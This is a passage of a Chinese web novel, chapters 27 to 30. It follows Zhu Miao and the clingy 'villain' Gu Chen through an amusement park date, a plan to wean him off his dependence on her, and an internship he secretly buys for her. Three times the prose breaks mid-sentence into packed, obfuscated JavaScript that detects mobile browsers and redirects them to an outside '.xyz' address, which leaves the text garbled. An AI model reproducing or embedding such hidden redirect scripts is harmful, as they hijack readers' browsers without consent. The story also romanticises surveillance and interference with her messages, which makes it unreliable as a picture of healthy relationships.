尤其顾忱往她卧室的沙发上一躺，她惊得一下子坐起来。 “你怎么还睡在这？” “怎么了？”他之前几天也这么睡。 “我们不是已经有‘君子协议’了吗？你还要在这看着我吗？” “我只答应你不用脑机，没答应你分房。” “……”分、房？怎么听起来怪怪的？ 祝渺依然不答应。 顾忱：“门没有锁。” 也就是说，她随时可以逃走。 “跑得了和尚跑不了庙，我答应了你就不会走。实在不相信我，你可以把门锁了。” 大概是祝渺的模样说这样的话太坚定，看起来特别有说服力，顾忱纠结了一番，乖乖退出了祝渺的房间。 走之前，留下了一句：“我相信你。” 卧室门关上，整个房间陷入了一片沉寂。 祝渺躺下，摸了摸心跳，还好还好。每天晚上被个大男人盯着睡觉，实在有些难以入眠哈。 不过这一个晚上，她睡得也不是很好。 脑海里都是错乱的回忆与现在的顾忱。 这导致她第二天早上，早早醒了过来。 不过今天早上没有课，她不用这么早起床，但实在没了睡意，祝渺还是起来洗漱了。 刷完牙，这才感觉肚子咕咕叫了起来。 出门发现顾忱今天居然还没起床，她也不会烧早饭。 尝试着开了开大门，顾忱他还真说话算话，相信她，连门都没反锁。 正好，她可以出门吃个早饭。 公寓附近有小型商场，一大早门店就开了，几乎全是吃的，祝渺饿得不行，闻着KFC早餐的香气就进了门店，美美买了早餐套餐。 吃完套餐，心满意足。 临走前想了想，又点了一份，打包带走。 念在顾忱这几天一日三餐伺候得十分到位的服务上，祝渺决定不计前嫌地给他也带一份。 拎着包装袋回到公寓门口，摁了密码，打开了门锁。 推开门的一瞬间，祝渺感觉听到了什么动静，一大块硬邦邦的□□冲了上来，一把把她拥在了怀里。 妈呀……差点窒息了…… 顾忱的气息和声音都有一些颤抖，似乎承受了极大的不安。 “啪——”祝渺的KFC早餐掉在了地上。 祝渺心痛呐喊：“豆浆！” 顾忱松开她，缓了口气，才看到地上的豆浆，还好，包装得严实，稳稳落地，没有撒出去。 他俯身将包装袋捡起来，抿了抿唇：“你去买早餐了？” “不然呢？”祝渺揉了揉被他撞到的胸口……“你这么紧张干什么，我又不会跑了。” 顾忱喉结动了动，应了一声道：“对不起，但我还是感觉到害怕。” 哟，反派居然道歉了？ “怕我走了？” “嗯。” 他昨晚说好了相信她，可是走出房间门就有些后悔了。 他不能忍受看不见她的日子。 于是，他一整个晚上都睡得很不好，就怕听到她离开的声音。 他也大可以起来把门锁了。 可是，他已经说好了相信她…… 没想到，就是这样晚起了些，起床就没看到她的影子。 如同那个早晨，她消失了，再也没有回来；又亦如那个早晨，她的背影渐行渐远，再也没有回头…… 失去她的恐惧涌上心头。 不……不，这次会不一样的。 最后准备夺门而出的一瞬间，他恢复神智。 她答应过他的，他也会信她。 当然，如果她骗了他，那么，他就会追她到天涯海角…… 就在此时，门锁响了，她回来了。 他心中紧绷的弦仿佛瞬间断开。 这种感觉……大概是狂喜。 他想。 祝渺把早餐袋子打开，拿出了K某C的早餐汉堡。 “这是我刚刚下楼买给你的早餐，不过我已经吃过了哦。” 看着他依然惊魂未定的模样，祝渺心中生了一丝抱歉。 虽然，就一丝丝。 她缓了语气：“下次出门，我给你发个消息或者留张纸条就是了。” 因为抱歉，祝渺难得有些宠溺地顺着他的意思，“对不起啊，是我没想到，这样你就不用这么担心我了。” 顾忱回过神来，点点头，拿过汉堡，坐下咬了一口。 祝渺笑了笑，他乖巧的时候，还是很可爱的。 啊……这时候的他，有点像游戏里的小可怜了。 这让祝渺有一瞬间的恍惚。 现在的反派，并不是不可救药的，只是缺少了一些……三观正确的教育？ 要是养好了，他还是妈妈的好大儿！ 顾忱抬眼，看到祝渺逐渐奇怪的眼神，流露出了一丝迷茫和困惑，他从来没见到过别人对他示以这种眼神。 他虚心求教：“你现在的眼神，代表的是什么情感？” 祝渺立刻回过神来：“……没，没什么。”赶紧收起自己六分慈爱三分想入非非还有一分变态的目光。 不行，二三次元还是有壁的，虽然现在剧情线很歪，但他还是反派的人设，不能不防。 这天晚上，顾忱再次坐在了她卧室的沙发上。 顾忱：“我今晚还是在这睡。” 祝渺：“不是说好的相信我了吗？” “我相信你。” “那你还这样……” 顾忱淡定地说出让祝渺头皮发麻的话：“这次是因为喜欢你。” “……”胡扯，他绝对是在胡扯。 顾忱继续：“喜欢一个人，所以无时无刻不想陪在这个人身边。”这是喜欢的情感表达，他懂。 祝渺：“……”能不能少学点乱七八糟的，她有浪漫羞耻症，听不得这个！ 认真思索了一番，依然表示反对。 “在这件事上，你拥有决策权，但我拥有一票否决权，你同意吗？” 顾忱：“不同意，我要在这。” 祝渺：“那我也不同意。” “我要睡这。” “我不同意。” “……” 祝渺觉得他们简直像在小学鸡吵架，她对顾忱这种小学生行为表示谴责。 实在想象不到他这样怎么会变成大反派。 谁知，顾忱却没再和她争执，微微低下头，周身气势瞬间收敛，像一只顺毛了的小狗。 “我明白了，渺渺，我会尽量办法控制自己，直到你在现实中也能接受我……” “……” 你少来，少来这套啊，哪里学来的绿茶本领？知道她吃软不吃硬是吧？ 要是对她这样，她就，她就……她就会忍不住嘴软。 “……那你睡这里吧，但是我们不能互相打扰。”呸，真想抽自己一耳光。 “嗯。”顾忱立刻顺势答应。 祝渺无言，在床上用被子把自己裹成一团。 一边装睡，一边思考之后该怎么办。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492966|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她最怕的就是原著剧情会发生，但她现在已经成功把顾忱安抚下来，并且有过去的情分在，他还是很愿意听自己的话的。 甚至她还能感觉到，他是真的对自己有意思……就凭这一点，她就可以暂时地“拿捏”他。 可是这样也只是暂时的，要从源头上改变顾忱对自己的执拗，别这么依赖自己，应该怎么办？ 他这么害怕自己消失，祝渺仔细分析了一下，这本质上是一种戒断反应，因为自己突然的离开，将他之前的习惯破坏，他一下子无法接受，没有了安全感。 那满足他的安全感，把他的毛安抚顺了，一边给糖，一边戒断，然后逐渐让他把生活重心放回自己身上，能不能行？ 可是要让这份安全感达到“满足”的境地，该不会要把她自己也陪进去吧…… 好像……也不算吃亏？ 不行不行，一旦吃个亏了，那没准就是赔命的事。 而且到时候她要是想跑个路，岂不是要更难了…… 祝渺思考了半天没思考出结论来，直到想入神睡着了。 顾忱躺在沙发上，看似安分地睡了，眼睛却在暗中睁开，悄悄看着祝渺缩成一团的样子。 他找到祝渺之前，想过很多种相处模式。 如果她抗拒讨厌自己，那他就……强制让她和自己进到虚拟世界，这样他们的意识就可以永远永远在一起…… 可是，现实并没有变成他预想中最差的结果，祝渺虽然害怕了，眼里有很多他不懂的情绪，但他仔细辨认，她应该没有讨厌和抗拒自己。 于是他决定相信她，答应她和平共处。 他也在努力尝试更换不同的交流方式，这么多年过去了，他已经不像小时候那样呆板，他聪明地学会了控制和改变自己。 那么，总有一种样子，她会喜欢吧…… … 虽然达成了和平共处协议，但顾忱对自己还是充满了“不安全感”。 接下来的几天，他都要赖在她身边。 祝渺：“……”很无奈，真的。 好消息，大反派没有想象中的变态阴鸷； 坏消息，大反派实在是黏人得……令人发指。 但祝渺无语归无语，还是对他无可奈何。难不成这就是传说中的……好女怕缠郎？ 没过多少天，他们俩的传言就已经在学校满天飞了。 打开校园论坛首页，就是： 标题：【他们在一起了吗？太惊艳了，这是校花校草cp？】 内容是好几张他们俩在一起的照片。 祝渺的同班同学就别说了，都是这些照片的“见证者”，所以对此深信不疑。 她的室友不和她一起上课，现在没住一块就很少见了，看到了帖子，立刻就来问她是不是真的。 祝渺这才看到帖子内容。 别说，这几张照片拍得还挺唯美。 评论里讨论的人也挺多的。 1楼：【天啊，他们也太甜了，天天腻在一起】 2楼：【没错，我已经偶遇他们很多次了，太吸睛了，俩人虽然并没有举止特别亲昵，但几乎就没分开过，肯定是真的】 3楼：【这就是传说中的校园纯爱？连手都没拉一个，但周身好像就是在冒粉色泡泡……】 4楼：【真的啊，男生看女生的眼神也太深情款款了好么】 5楼：【行了，我这大学自己谈不上恋爱，就押宝这一对了好吧？这颜值可以直接拍偶像剧了吧】 …… 都已经这样了，祝渺觉得自己也解释不了什么，误会就误会了吧…… 见她刷帖子刷这么认真，顾忱也忍不住凑过来瞧。 “照片发我。”看了一会儿，他突然道。 祝渺：？ 顾忱：“拍得好看。” 祝渺：“……” 28. 第 28 章 因为这个帖子，祝渺还收到了秦洛的消息。 大概是秦洛后知后觉地看了帖子内容，向祝渺狂轰滥炸了一番。 秦洛：【你你你，居然背着我和人谈恋爱！】 祝渺：【……并没有，那都是误会】 一句话终结了秦洛的八卦心。 秦洛：【哦……那没事了，在搞暧昧是吧，懂的懂的】 秦洛：【那你继续耍，我要飞G市追星去了，谈上了记得和我报备一声！】 秦洛：【对了，这个男生乍一看就比王朔靠谱，长得帅多了，和我家哥哥有的一拼！好好把握！】 祝渺：【行……路上小心】 一听她没有真的谈恋爱，秦洛立刻放弃八卦，投身自己伟大的追星事业了，这很符合秦洛的性子。 话说回来，现在大概也就秦洛会这么一句话就相信她和顾忱真的没什么了。 祝渺对着手机发了会儿呆。 顾忱的自带怨念的声音不怎么适宜地响起：“渺渺，你已经看了它一个小时。” 目光落在她手中的手机上。 “……”祝渺乖乖放下手机。 一瞬间，好像感受到了被家长管手机支配的恐惧…… 祝渺扒拉了两口饭，嗯……他的厨艺真是越发精湛了，烧得都快比她爸爸的菜香了。 她盯着碗，思索了一会儿，忽然提议道：“唔……明天是周末，我们去游乐园吧。” “虽然我之前和你在游戏里去过，但是……你也知道，我只能通过屏幕玩，这次，我们亲身体验一下吧。” 她上次思考怎么“治疗”顾忱，没思考出结果。于是又想，不如复刻一下他们曾经的场景，或许会有点用。 顾忱听到这个提议，呆了呆。 游乐园……他记得非常清楚，那是他们最快乐的时光之一。 意识到她这是愿意陪他把那个虚拟世界的事变成真的，心中涌上一阵说不清道不明的滋味，大概更多的是高兴。 这说明，她没有再像刚开始那样抗拒那个世界发生过的事。 “好。”他欣然答应。 祝渺立刻买了两张门票。 第二天，他们一早就出发到了本市最大的游乐场。 这个游乐场虽然大，项目丰富，但游客也比想象中多得多。 祝渺感叹：“这才是现实……现实中的游乐园可不像游戏里想玩就畅玩了，排队的时间可能比玩更久！” 说完，她看见呼啸而过的过山车，想起游戏里，小可怜就很害怕这个，现实中的顾忱岂不是也…… 祝渺立刻兴奋，拉起顾忱的手就跑：“走，我们去排过山车！” 感受到她手上传递过来的体温，顾忱忍不住握紧了点。 现实中的游乐场和他在那个世界并不一样，她也和那个世界不一样。 她也会比游戏里真实得多…… 等等……过山车？过山车也会比游戏里真实得多……吗？ “要不我们还是……” 还没说完，祝渺拉着他指了指路边灌木丛上挂着的标语。 写着：爱她，就陪她坐过山车！ 顾忱：“……”谁想的，他一定要找机会拆了。 这个过山车几乎一百八十度垂直下落起步，正着绕一圈反着再绕一圈。 机器的声响和耳边的风声，还有游客的尖叫声夹杂在一起，呼啸而过。 全程速度很快，几十秒后，顾忱落地，脚步悬浮…… 祝渺也落地，十分兴奋：“太刺激了！顾忱你胆子也挺大嘛，居然一声没叫诶！” 顾忱：“……”脸色发白。 他原本帅气的造型都有些凌乱了。 头顶不知道什么时候竖立起了一撮呆毛，在风中弹啊弹。 祝渺见状，下意识伸手，把他头上的呆毛压了下去。 顾忱被她的手拍得一愣，一动不动地看着祝渺，面无表情，眼神里又好像隐约流露出了一点错愕。 祝渺眨巴眨巴眼，感觉不太多，忽然像触电似的，赶紧缩回手。 感觉到她的手抚过的痕迹，一下又消失了，顾忱心头有一瞬空落落的。这种情绪应该是……失望。 他低下头，掩去眼中的失落。 不过他向来情绪表现不是很外放，祝渺也并没有注意到。 忽然，祝渺又看到了什么，眼睛一亮：“那边有好玩的！我们走吧！” 顾忱：“……”瞬间凝滞了，什么情绪都散了。 幸好，祝渺口中的“好玩的”是个鬼屋。 这是个真人实景鬼屋，中式风格，氛围营造得很带感，还有真人NPC装神弄鬼，上手把祝渺吓得够呛。 过山车那种身体的刺激祝渺不怕，这种“精神污染”却让祝渺有些吃不消。 中式恐怖果然是坠叼的！ 等出来的时候，祝渺感觉耳边已经听不见声音了，只剩她的尖叫声绕梁三日不绝于耳…… 等她缓过来，才发现自己把顾忱的胳膊勒得有多紧。 尬笑两声，她又松开了手。 “你的耳朵……还好吧。”她就在他耳边尖叫的，怕不是要把人耳膜都给震破了…… 顾忱看着她滑落的手，若有所思：“我没事……要不再玩一次吧。” 祝渺：“……”这回轮到她脸色煞白了，全身细胞都在sayno。 连连摇头拒绝：“你刚才坐过山车这么大反应，怎么进鬼屋倒是一点都不害怕？” 顾忱不理解：“为什么要害怕？” “就，恶鬼索命什么的……很恐怖啊！” 顾忱还是不理解：“如果说鬼可怕，那人岂不是比鬼更可怕。” 好像也……有点道理。 这让祝渺有点好奇：“那你就没有什么害怕的东西吗？” “害怕？”顾忱想了想，回想他感受到过的那些情感。 他也是在虚拟世界里经历了无数次轮回世界，在绝望中挣扎，才逐渐开始感受和认清自己的各种情感，所以有时候还要再辨别一下…… 害怕，害怕的感觉应该是…… 脑中浮现了许多画面，有幼时，有成长后。 “我害怕失去你。” 他声音低了些，没什么起伏，却莫名地让人感觉很认真。 这一句话背后，似乎有比祝渺想象中更重的含义。 祝渺愣了愣，感觉周围的声音都轻了，刚才因为尖叫声嗡嗡作响的脑袋也逐渐清明起来。 半晌，她纠结了会儿，终于还是忍不住开口：“那你现在不要害怕了。” 她声音很轻，周围很嘈杂，但顾忱还是听清了。 这是一句安慰的话，顾忱抿了抿唇，读懂了她的意思，她是说，他不会失去她？ 他应该，没有理解错吧。 “嗯。”他也轻声应道。 祝渺鬼使神差地说了这样一句话，说完又有点后悔了。 她现在希望的是尽快改变顾忱对她的态度。 非常明显，他依赖自己过了头，她没有表示抗拒，是因为短期内保持现状她还可以勉强接受，但如果长期这样，她一定会受不了。 到时候再忍不住跑路，岂不是又要回归原文中的剧情，她逃，他追，她插翅难飞……还意外横死。 所以她决定，在生活中见缝插针地展开“脱敏”治疗法，也就是动不动就消失一下，让顾忱对自己的“消失”慢慢感到习惯，解决他现在的“戒断反应”。 并且现在带他回顾过往那些让他放不下的事，并且试着对他好，让他对自己的离去……不再有遗憾。 今天的游乐园之行，就是她实施治疗的第一步。 这样的做法，或许能有效果，也或许会适得其反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505164|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 结果会怎么样，她现在也没把握。 所以，她大概是在赌。 … 结束游乐园之行后，祝渺从网上找了一篇帖子，关于“情侣约会可以做的100件事”，仔细研究了一番，把那些过于亲昵的，不适合自己的都删了。 最终留下了十来条可以做的事情和适合去的地方。 顺便努力回忆了一下小时候，他们做过的一些事，比如放烟花、画画、放风筝…… 虽然过去大部分是她在闹腾，他不理人。 总之，经过她深思熟虑的《治疗手册》就这么完成了一部分。 方案详尽，步骤清晰，planA完不成还有planB。 之后就慢慢记录这个“治疗”过程，若行之有效，她再延伸拓展方案。 或许，等到她的治疗方案完成，他能变得正常一些，至少不会像现在这样想把自己圈起来…… 或许，他们还能成为正常的朋友、同学。 * 祝渺因为一连串的变故，很快就补回来了各门课程。 但是新闻社的例会，她已经请了大概一个月假了。 也不是她不想去，只是……她又要面对学长，又要面对顾忱…… 这个场面，她用脚指头想了想，脚趾就已经开始抓地了。 上次他们俩撞上，祝渺看手机才发现，顾忱居然偷偷把刘宇学长的消息屏蔽了。 好说歹说他才同意把人信息恢复。 虽然她觉得顾忱纯纯干涉自己通信自由，但是还是屈服在了反派的威严之下。-- 她也思考过退社，但她还是舍不得他们社团。毕竟对她一个新闻专业的学生来说，里面还有很多实践机会可以参与。 怎么办呢？ 眼神默默瞄向坐在沙发上的顾忱。 “顾忱……和你商量个事情吧？”祝渺试探开口。 顾忱抬起头，目光澄澈，准备认真听她说话。 这倒让祝渺有些难以开口了。 “你当初来新闻社，是因为我吧……？” 顾忱老实地点头。 “那既然我们已经，已经，像现在这样了……那你还愿意留在我们社吗？” “你的意思是？” “你应该也很忙吧，听说你们的专业课要求也挺……多……”说着说着，祝渺声音越来越小，气势越来越微弱。 因为顾忱的脸已越来越黑。 “我明白了，你是希望我退出新闻社？” 祝渺尬笑两声。 “然后让你和那个社长二人世界？” 祝渺瞳孔放大，立马反驳：“诶诶胡说什么二人世界，饭可以乱吃，话可不能乱讲！” 顾忱顶着张臭脸问：“为什么非要留下？” 祝渺本来坐得离他挺远，见他态度缓和，于是稍稍靠近了一些。 “毕竟我是这个专业的嘛，不仅要学理论，还要有更多实践锻炼机会啊。我以后想从事传统媒体方向，想做记者。” 这是她上辈子的理想，不过最终因为考分距离报考专业的分数线差了几分，就失之交臂了，后来想转专业，还没等到这个机会，就意外嗝屁了。 俗话说，得不到的永远在骚动，所以这辈子才毅然决然选了这个专业。 顾忱听闻，沉吟片刻，“所以，你，想要实践的机会？” “嗯嗯。”祝渺点点头。 顾忱也点头，“我明白了。” “你明白什么了？”祝渺心道，难不成良心发现了，准备还她清净的社团生活了？ “你可以继续留下，我也不会退社。”他眼神微眯，眼里仿佛带着警告的意味，好像在说：你想一个人留下和社长卿卿我我，门都没有。 祝渺：……行吧。 毕竟她也没法阻止别人参与社团活动不是？ 29. 第 29 章 过了两天，祝渺就收到一个电话。 电话那头是个温柔的女声： “你好，请问是祝渺同学吗？” 祝渺应了声是。 “是这样，我们这边是华东电视台，目前在招聘实习记者的岗位，我们见过你撰写的新闻稿，觉得你的履历和能力都非常优秀，我们希望你能加入。” “哦对了，我们支持远程办公，也可以根据你的时间分配工作，工资根据工作完成度计算，待遇还是非常优厚的。” “如果您考虑的话，我可以添加您为好友进行沟通哦。” 听到这个招聘条件，祝渺第一反应是：骗子，妥妥诈骗集团。 华东电视台，是国内首屈一指的电视台，待遇好稳定的编制，就算是实习生，也招聘要求极高。 这种招聘条件，轮得到她一个没什么经验的学生？她都没投简历，就主动找上她，这压根儿没可能的事情。 祝渺犹豫两秒，挂掉了电话。 对方：“……” 过了一会儿，电话又响了。 坐在一旁的顾忱问：“谁的电话？” 祝渺：“说是华东电视台招聘，一听就是诈骗。” 顾忱沉默了一会儿，脸色变得有些奇怪。 电话再次响起。 祝渺心道：还怪持之以恒的。 祝渺没接电话，电话也没再响起，但是她收到了对方发来的好友申请。 顾忱凑过来看了看，冷不丁道：“万一是真的呢，这不是你的理想吗？” 祝渺觉得也是，抱着一丝好奇，通过了对方的好友申请，多聊了几句，她才发现这还真不太像诈骗。 对方给她发了岗位介绍和招聘需求。 说是实习，相当于是个兼职岗位。 电视台想结合时下兴起的新媒体，建设自己的媒体矩阵，在一些新媒体平台上做新闻。 她这个岗位只需要利用闲暇时间协助撰写采访稿件，偶尔支援外派的采访。如果她有不错的新闻主题，也都可以自己制作投稿。 她一个还刚上学的大一新生，居然能有top级的电视台主动找上来，真真是天方夜谭，可若是真的，那就是个非常难得的机会。 虽然对于现在的她来说会有些忙碌，但校园生活充实不是坏事，她非常心动。 不过话又说回来，对方是怎么找上她的？ 不由得想起之前她和顾忱之间的对话，难道…… 她一把拽住她旁边的顾忱，直接就问：“电视台是你安排的？” 顾忱微微蹙眉，一脸不解：“什么？” “不是你安排的？” “安排什么？” “……”祝渺无言以对。 看着他一脸懵的样子，装得也太无辜了，看起来一点也不像骗人。 难不成真的不是因为他？难不成是自己之前在网上发稿，被伯乐发现了她是一匹千里马？ 不是她妄自菲薄，只是这也太巧了点。 可是再仔细想想，小说里顾家的产业和电视台确实关系不大，应该不至于会为了她去网络电视台的人脉吧。 况且顾忱现在还小，剧情还没到原文里，他接手顾家产业，说风就是雨的时候。 他还天天在身边“监督”自己，在她眼皮子底下晃……哪来的时间安排这个？ 祝渺将信将疑，思考一圈，最后决定，暂时打消对顾忱的怀疑。 就算真是因为他从中作梗……那也算老天爷喂饭吃，她才不管呢。 她从顾忱身上收回狐疑的目光，和对方HR继续聊天，可以说是相谈甚欢。 聊到后来，HR诚挚地留言：【offer会发到你的邮箱的，期待你能加入我们！】 祝渺还有些懵，奇怪地问：【不用面试吗？】 HR飞快回答：【我们刚才已经面完了，你已经通过面试了。】 祝渺：？什么时候，不就聊了几句？ 没过两分钟，HR又飞速道：【offer已经发送至你的邮箱，关于公司地点，工作岗位，薪资待遇，都写得很清楚哦！盼回复！！】 祝渺：…… 这真的不是诈骗团伙吗？！ 这种天上掉馅饼的好事，还是让她有一种随时会被卖了的感觉。 谨慎地查询了邮件上的信息，一点问题没有。 邮件给到的回复时间是72小时，祝渺思考了两天，终于决定，去试一试，实践才是检验真理的唯一标准！ 如果靠谱，那就是正经电视台的履历，比起社团实践还是有用得多。 只不过鱼与熊掌不可兼得，专心实习，社团那边的活动就顾不上了。 每次想到这个，祝渺还是会忍不住向顾忱投去怀疑的目光……然后收获顾忱一脸迷茫又无辜的回应。 祝渺：“……” 算了算了，虽然是还没发育完全的反派，他也不可能自己老老实实承认了。 … 一直到offer中约定的入职时间，祝渺向hr姐姐告知了自己的决定，并准备好了证件材料准备去电视台办理入职。 出门前，顾忱却拦住她：“要去多久？” 根据HR所说，祝渺的岗位不需要坐班，办理完入职就可以走了。 不过来回路程和办理入职手续应该也要花费不少时间，于是她想了想，回答：“应该三四个小时吧？” 顾忱皱眉，“我和你一起去。”三四个小时，太久了。 祝渺拒绝：“我只是去办理入职，再说工作场合你去怎么能行。”才三四个小时，时间很短了。 最终顾忱还是跟着祝渺到了电视台门口，不过也只是到门口。 一路上祝渺都在思考，如何对顾忱进行脱敏治疗。 祝渺站在电视台门前的楼梯上，下意识地转头嘱咐顾忱：“你就在附近找个地方，乖乖等我出来，不要乱跑。” 感觉好像哪里不太对劲，顾忱又皱眉：“我不傻，也不是小孩。” “……”也是哈。 祝渺觉得自己大概是越发用母爱眼光看他了。 … 华东电视台是本市最大的电视台，也是全国数一数二的知名电视台，虽然如今传统媒体式微，但作为行业龙头，地位屹立不倒，依然是业内许多人遥不可及的存在。 所以能进来这里工作的，基本都是学历过硬、专业水平过硬的人。 并且，还对本行业有一定的热情与专注度。 电视台很大很明亮，祝渺到了前台后就见到了接应自己的那位hr姐姐。 “你就是渺渺吧，你好，可以叫我晓莉。” 祝渺点头，连连答应：“晓莉姐，你好。” 晓莉带着她走过工区，祝渺好奇地四处看了几眼，前世的自己也没有过工作经验呢，所以对正式工作，她还真有点紧张又好奇。 大部分员工都在工位上看电脑，也有些人走来走去递交材料或开会。 晓莉带着她进了一间会议室。 “我们就在这里签合同吧，材料都按要求准备好整理给我吧。” 晓莉拿出了实习合同，递交给祝渺。 祝渺大致看了看，福利待遇很不错。入职这么顺利，果然还是有些不太真实。 想到了什么，她把合同盖上。 抬头问：“晓莉姐，为什么录取我？” 晓莉似乎有些惊讶，愣了一下，然后又保持回淡定：“你是奇怪，为什么要主动招聘你？” “是的。” “这……”似乎是回忆了一下，晓莉接着说，“之前和你解释过，看到过你的账号发表的议论性质的文章。是那篇……针对医疗科技发展手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512241|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的看法，我们领导很喜欢，她很欣赏你，觉得你很有新闻天赋，所以联系了你……” 晓莉姐赞美之词源源不断，夸得祝渺都觉得脸红。 不过她说的文章确实是她闲暇时间抽空写的，灵感还是来源于那天……她看到了顾忱的脑机治疗的新闻。 晓莉姐说着说着发现自己说跑题了，又赶紧悬崖勒马：“总之……你非常优秀、有天赋……时间不早了，咱们快把合同签了吧。” 祝渺这才赶紧签了合同。 入职手续办得挺快，晓莉姐又和她简单交代了之后的工作事项，给她介绍了几个之后要合作的同事，加了联系方式。 之后有任务，会直接发布给她。 不过，那位“很欣赏她的”领导倒是不在，听说是跑外勤去了。 祝渺看了看时间，大概过去了一个多小时了，不知道顾忱还在不在附近等她。 不过她倒是希望顾忱随心所欲些，别把注意力一直放在她身上。 这样她之后的脱敏治疗还能开展得顺利一些。 一想到这个，祝渺就对晓莉姐说：“晓莉姐，我可以再自己走动一下，熟悉下电台环境吗？” 晓莉姐笑着点头：“当然可以。” … 电视台大门对面的一家咖啡店，悠扬的背景乐循环播放。 顾忱坐在靠窗的座位上，面无表情地盯着电视台门口的方向，散发着一些生人勿进的气场。 手机消息提示音响了响，他这才收回目光看了一眼屏幕。 对方发来消息：【她应该没发现】 他打字回复：【嗯】 然后，又继续看着祝渺走掉的方向发呆。 一个年轻又长相甜美女孩看了他许久，终于鼓起勇气走到他身边。 “你好……看你在这里坐了很久，是在等人吗？” 顾忱头也没回，也没有应声。 女生有些尴尬，但依然坚持问：“没等人的话……你也是在电视台工作吗？” “我是在这里实习的，还没有毕业，感觉你看起来很年轻，应该也还是个学生吧……” “方便认识一下吗，我叫……” 还没说完，顾忱依然岿然不动，只是眼神冷漠了些。 他终于开口说了一句，打断她：“你很吵。” 女生的表情瞬间龟裂，似乎不敢相信，有人会用这样的态度对她。 抿了抿唇，气得一句话说不出来，转身离开了。 顾忱的世界又恢复了宁静。 没多久，熟悉的身影出现在了他的视野中。 顾忱这才眼神微变，有了些波澜。 … 从大楼里出来的祝渺站定了一会儿，四处张望了一下，没看到顾忱的身影。 低头拿手机，翻出他的账号，正要给他发消息。 就听到顾忱的声音在不远处响起：“你终于来了。” 祝渺抬头，对上他的眼瞳，他的眸光闪亮，眼里似乎藏了很多东西。 又像是……饿了很久的狼狗见到了肥美的肉。 他又一把子抱住了她，像要把他镶嵌到自己身上，勒得祝渺呼吸困难，连连拍他的后背。 “……”搞什么，虽然她是故意在里面拖延时间了，但算起来，她总共也就离开了两个小时而已，怎么好像久别重逢似的？ 上一次她出去买早餐，回来后他也是一样的反应，她也是差不多离开了两个小时。 看来之后脱敏治疗得从两个小时开始起算…… 半晌，他总算松手，放开祝渺。 祝渺得了片刻喘息，紧接着问：“你怎么了？” 顾忱这才稍微收敛了情绪，“没什么。” 她不在自己身边的时间，总是格外漫长。 像是过去的他，一直等待了很久一样。 30. 第 30 章 从电视台出来后，二人就一起走在路上。 祝渺看着顾忱，虽然她的离去，让他反应大了一些，但也还好，他不是不可以忍受。 看来她之后可以多尝试制造这种机会，让顾忱习惯自己不在身边。 这两次都是两个小时，多来几次，下次可能就是半天，再下次就是几天，最后……或许她的存在就能可有可无了。 虽然目前看起来还遥遥无期，但……一步步来吧。 首先是要让他逐渐放下防备之心。 二人一块走在路上，祝渺稍稍靠前走在前面，漫不经心道：“我们回学校吧，今晚有新闻社的例会呢。” 顾忱脚步一顿，“你还要去？” 祝渺回头，一脸当然的表情：“不然呢？” “你不是说……”后面的话他没继续说。 祝渺帮他接道：“说什么？说既然要做好实习工作，就不去学校的新闻社了？” “……”顾忱默了，她好像确实没有明确说过。 祝渺微微一笑，有几分让人注意不到的狡黠：“怎么了？不高兴了吗？还是说……这是你希望看到的？” 顾忱微愣，“什么？” 祝渺收起笑容，话锋一转，一本正经地严肃道：“你是不是可以向我解释一下这份工作的来历了？” 顾忱依然一脸无辜，沉默不语。 哈，还给她装呢。 “电视台那位联系我的晓莉姐你认识吗？今天办手续的时候，她都已经和我坦白了，我这份工作就是有人给我故意安排的，哦对了，她还说了，安排这件事的人呢，有顾家的背景，所以……” 这背后的人是谁，不言而喻。 “……” 顾忱脸色终于有了些波动。 祝渺见状，顺势进攻威胁：“你最好立刻承认哦，这样我还可以好好考虑一下，要不要去新闻社这件事……” 她佯叹了口气，“哎，毕竟要打两份工，还是有点累的，可能以后和你呆在一起的时间也会更少了呢……” 顾忱：“……” 祝渺心想：又不说话，他的母语大概是无语。 过了许久，顾忱才开口：“是。” “嗯？” “我让顾家给电视台广告中心投了一笔广告费。” 祝渺眼一亮，她的“阳谋”成功了？她居然让这个黑心小反派承认了！ “投了多少钱？” “不多，一千万。” “……”不多，这是不多吗？ 祝渺很心痛：“我居然值这么多钱……”别投广告了，直接把这钱给她吧，让她干啥她干啥。 不行，她不能表现出这种态度，要不然他真的拿钱砸她怎么办？ 她会……抵不住诱惑的！ “你没有必要这样做的。”祝渺心口不一，一脸正直。 顾忱垂下眼眸，“我只是不希望你去新闻社，所以做了这样的安排。”如果用强迫的手段，她一定会不乐意。 为了两人的关系，也为了达成自己的目的，才想办法用了点小手段。 “那你可以直接告诉我，为什么要隐瞒呢？” “直接告诉你……你不介意？” 